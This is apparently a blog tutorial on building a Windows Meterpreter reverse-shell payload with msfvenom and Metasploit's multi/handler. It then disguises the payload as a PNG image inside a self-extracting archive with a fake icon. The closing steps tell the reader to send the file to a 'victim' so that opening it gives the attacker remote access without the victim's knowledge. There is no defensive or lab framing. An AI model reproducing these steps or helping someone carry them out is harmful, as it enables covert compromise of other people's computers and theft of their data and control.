Steganography: Hiding payload behind image

Steganography: Hiding payload behind the image

In this article, we’ll look at how to hide our payload within an image. This will allow us to gain remote access to our victim’s system without his knowledge.

Steganography is the process of concealing a payload or anything else behind any media or file.

Steps 1. Let’s check our IP address:-


Step 2. Create a payload

msfvenom -p windows/meterpreter/reverse_tcp lhost lport 4444 -f exe > /home/lucifer/Desktop/test.exe

Step 3. Open Listener


Step 4. Set handler

use exploit/multi/handler

Step 5. Set payload

set payload windows/meterpreter/reverse_tcp

Step 6. Set lhost

set lhost

Step 7. Set lport

set lport 4444

Step 8. Check for remaining requirements

show options

Step 9. Let’s exploit


Now, we will take our payload to the windows environment

Step 10. Let’s download a PNG image behind which we are going to hide our payload

Step 11. Now let’s get our icon so open ICOCONVERTER.COM

Step 12. Let’s get our icon

Step 13. Place your payload, png and icon in one place

Step 14. Now select your payload and Png image together and click on add to the archive


Step 15. Change the name, Create on SFX archive and choose compression method to best

Step 16. Click on the Advance option and choose SFX options

Step 17. Click on the Update option and choose extract and update files in update mode and choose overwrite all files in overwrite mode

Step 18. Now go to the setup option and give your payload name and image name with extension

Step 19. Now go to the Text and icon option and choose load SFX icon from the file and upload your icon file

Step 20. Click on OK and OK

Step 21. Your final payload will be created which is in looking like an image that we choose

Step 22. Send this final image to your victim and you will get your meterpreter session as soon as your victim will open that image





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